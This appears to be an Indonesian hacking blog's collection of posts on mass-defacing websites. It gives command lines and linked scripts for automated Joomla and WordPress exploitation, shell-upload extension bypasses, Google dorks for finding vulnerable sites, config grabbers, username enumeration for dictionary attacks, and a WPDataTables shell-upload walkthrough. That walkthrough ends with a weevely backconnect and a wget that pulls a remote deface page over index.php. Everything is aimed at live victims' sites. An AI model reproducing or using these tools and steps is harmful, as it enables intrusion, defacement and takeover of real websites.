Full Bot Deface Website

Hai semuanya, udah lama banget ngk buat tutor. Gw udh mulai bosen dgn semua ini. Makanya gw pengen share Tools yang menurut gw manteb untuk maen bot - botan..

Cara kerja tools ini ialah dengan mengambil nama domain dari web mirror zone-deface.com, abis itu dapetin ip-nya. nah ipnya kita scan deh di bing. Abis itu kita grab lagi dan kita scan cms apa yg dipakai, terus di save sesuai cmsnya dan di eksploitasi sesuai cms-nya.

Tapi disini gw cuma ada exploit com_media, jce, jdownloads..
untuk yg laen lu cari sendiri ya.

Download Tools disini.
https://drive.google.com/file/d/0B4_2Vn34hkX1V1JYcDFXSlZ2VzQ/view?usp=sharing

command:
php ambil.php attacker_Tu5b0l3d 72 && perl setan.pl ip.htm 31 && php detek.php target_setan.htm && php exploit.php 1-Joomla.htm

catatan:
72 itu ialah page akhir dari attacker_Tu5b0l3d
sesuain sama attacker/team yg mau di grab di http://zone-deface.com/

31 itu page paling akhir pas scan di bing.
klo mau scan sampe 50 page, ubah jadi 51

exploit.php itu isinya ada exploit com_media, jce, jdownloads.
ganti di k.txt dan k.png,
pkoknya harus ada kata - kata hacked.
ganti juga nick di zone-h

1-Joomla.htm itu list joomla site.

Video:
https://www.youtube.com/watch?v=GTocBpZ8eXM

##.
Thx buat bang fyelix yang udah ngasih VPS.

https://www.facebook.com/groups/indoxploitpublic/

Read more

How To found uploader in website.

*nb: Diperuntukan buat yang udah ada shell

ini cocok banget buat yg pengen menemukan bug baru di plugins atau themes wordpress atau joomla.
bukan menemukan bug baru sih, tapi menemukan file yang ada kata - kata uploadnya melalui shell.

ya daripada kita buka satu - satu dir untuk nyari file upload.
mending pakai tool ini.

ada 2 file yang dipakai disini.

search.php
http://pastebin.com/G1vnLbUt

index.php
http://pastebin.com/nenExAFA

file search.php langsung diupload aja ke websitenya.

file index.php dibuka dan diedit bagian dirnya.

usage:
php index.php http://victim/search.php


video:
https://youtu.be/lniKnyGLxoo

keep share.

join yukk.

https://www.facebook.com/groups/indoxploitpublic/

Read more

Bypassing Extension Shell Backdoor ( jquery file upload exploit )

Okee kali ini gua akan bahas gimana caranyaaa mem-bypass shell kitaa, agar bisa terupload di exploit jquery file upload
okee ini dia contoh web nyaaa.

Waktu mau kita upload shell kita dengan ekstensi .php , malah begini:

Nah bagaimana cara ngatasin ituu ?
mungkin ini sedikit kuno yaa , tapi ilmu bagi yang belum tau.

Okeee ginii caranyaaa:
Cukup ubah/rename shell kalian ke ( .php.jpg, .php.gif, .php.png , dan semacamnya tinggal di kembangin aja ) , lalu upload lagi ke target kalian.

dannnnnnnn taraaaaaaaaaaaaa

Kaloo tidak bisa dibuka atau malah nge-download filenyaa mungkin sudah tidak bisa diatasi dengan cara ini lagi :3
Video Tutorial: https://www.youtube.com/watch?v=OxQxbmkhyy0

okeee sekiann dulu tutorial nya semoga bermanfaat ^_^

Salam IndoXploit

Read more

WordPress Plugins Tevolution Mass Xploiter

Okee gannn, kyknyaa ini exploit lagi booming banget yaaaaa. freshhhh
Thankss buat .
// Res7ock - Aan INCEF buat live targetnyaaaa :D

Ikutin aja kyk di ss gannn.
disini script nyaaaa -> http://pastebin.com/9SCkGP3h

cara pake? :
- masukin ke hosting/shell backdoor
- buka filenyaaa
- happy hackingg ^_^

Read more

WordPress U-Design Themes Mass Xploiter

Lansunggg aja gannn sedott sourcenyaaaa:
http://pastebin.com/t8PvtP0h

Cara Pake nyaa:
1. Masukin Toolsnya Ke Shell Backdoor / Hosting
2. Masukin Targetnya kyk di SS gan

Ini Google Dorker WP U-Design nya gan biar ga cape cari 1 1:

http://pastebin.com/YFBhSsT6

Salam IndoXploit

Read more

Auto Deface Cms Wordpress melalui link Config

Kali ini ane pengen share auto ganti title pada site cms wordpress melalui grabber configs.

jadi misalnya lu grab configs dan ternyata nemu banyak config wp. nah lu bisa gunain tool ini biar ngk capek nyelem ke db satu per satu.
ngk deface sih, tapi bisa masuk mirror kok ;v

jadi kita cuma masukin http://blabla.com/configs/

ada 2 file,
1 file untuk websitenya.
1 file untuk kita buka di cmd/terminal.

link_index.php
http://pastebin.com/7jLauxGz

ini nantinya yang kita buka pake cmd/terminal.
php link_index.php

edit filenya ya, terutama untuk link configs, link script link_title_2.php, nickname zone-h, script/kata-kata yang mau diganti di title (harus ada kata hacked)

link_title_2.php
http://pastebin.com/9jT5Qvz5

upload diwebsite yg 1 server sama configsnya.
ngk usah diedit.

POC:

kenapa cuma ganti title ?
kenapa ngk deface aja ?
wkwk ribet bro, harus login dlu, terus nanem uploader dlu, baru deh kedeface, blm lgi klo wp-login nya disembunyiin.
jadi ganti title aja, karena ganti title cuma ganti di db, blm masuk ke sitenya.

kenapa versi cli ?
karena ini diperuntukan untuk link config wp yg banyak, makanya gw buat versi cli, klo versi website nanti server ngk kuat, alhasil cuma setengah yang kita pepes.

Videonya:https://www.youtube.com/watch?v=CKfRyqcXbwk

#KeepShare

Read more

Cara Mengetahui Username Pada Wordpress.

kali ini ane pengen share cara mengetahui username pada wordpress.

ane sendiri juga baru tau setelah kemarin ngubek ngubek WPScan.
cukup simple sih.
cuma menambahkan ?author=id
nanti akan muncul username + namenya.

pada kali ini cuma menampilkan username + name dari id 1-10.
kalo mau sampe 20, ubah aja $id yang didalem for.

POC:

jadi ini cuma menampilkan id yg ada username + namenya aja.
setelah mengetahui usernamenya, silahkan di dictionary attack.

script:
http://pastebin.com/AqCmhr2Y

#KeepShare.

Read more

Simple Tools For Deface

kali ini ane ingin share gabungan dari tools ane.
tinggal klik - klik doang.

Tools:

1. Jumping (Cuma liat Dir yg readable)
2. Config grabber Wordpress dan Joomla.
3. Auto deface site cms joomla. (jadi setelah dapat config yang joomla, mungkin bisa gunain tool ini, dan liat nama domainnya di fitur yang Jumping).
4. Auto deface site cms Wordpress (sama kayak yang Joomla diatas, tapi ini tidak perlu masukin nama sitenya.)
5. Auto deface site cms Wordpress 2. (mirip sama yang pertama, tapi ini cuma masukin link confignya aja, jadi setelah pakai Fitur Config, dan dapat Config yang Wordpress. tinggal ditaro aja linknya di form).
6. Bypass Disabled Functions.
7. CGI Telnet.

ambil scriptnya disini.
http://pastebin.com/BY5SZjm6

mungkin bisa ditambahin lagi fitur - fiturnya.
keep share.

#.

Read more

Config and Auto Deface in Worpdress

Config and Auto Deface in Wordpress..

ngk usah capek2 untuk nyari config + masuk ke database, ganti u\p admin, login, nanem shell, deface..

karena semua fitur itu ada di tool ini..
cuma 1x klik...



*nb:
ganti $nick.

klo token ngk ada.. berarti tinggalin aja..
klo token ada + ngk berhasil mepes.. coba lu pake manual..

http://pastebin.com/wALyu9Sx

video: https://youtu.be/_WWJFJJ3kdE

#

Read more

Wordpress Exploit: WPDataTable Unauthenticated Shell Upload Vulnerability and Not Acceptable Bypass

Exploit Wordpress: WPDataTable Unauthenticated Shell Upload Vulnerability and Not Acceptable Bypass 

NOTE: THIS IS ONLY FOR EDUCATION PURPOSES, AND FOR SAFETY PURPOSE. WE ARE NOT RESPONSIBLE ANY HARM DONE BY YOU.

Uploading Shell

Requirement:
    1-Python Any Version (v2.7 recommended)
    2-Exploit Script
    3-Backdoor

Steps:
    1- Download Exploit

        wget http://www.homelab.it/wp-content/uploads/2014/11/wpdatatables_shell_up.py_.txt

    2- Change to executable Python extension

        mv wpdatatables_shell_up.py_.txt wpdatatables_shell_up.py

    3- Find Vulnerable Target using dork

        inurl:/plugins/wpdatatables
        inurl:codecanyon-3958969
        index of "wpdatatables"
        index of "codecanyon-3958969"

    4- Open cmd/terminal and run exploit wptable.py

        python wpdatatables_shell_up.py -t targetsite.com -f shell.php

    5- Shell Upload to

        http://targetsite.com/wp-content/YEAR/MONTH/shell.php

Bypassing Not Acceptable:-

Requirements:
    1- Weevely Stealth Shell
    2- Remote Deface Script (.txt)


Steps:
    1- Upload weevely stealth shell using the exploit script

    2- Backconnect using weevely

    3- CD to root directory

    4- Backup index.php

        mv index.php indexBAK.php

    5- Import Deface Script

        wget http://yourhosting.com/index.txt -O index.php

Read more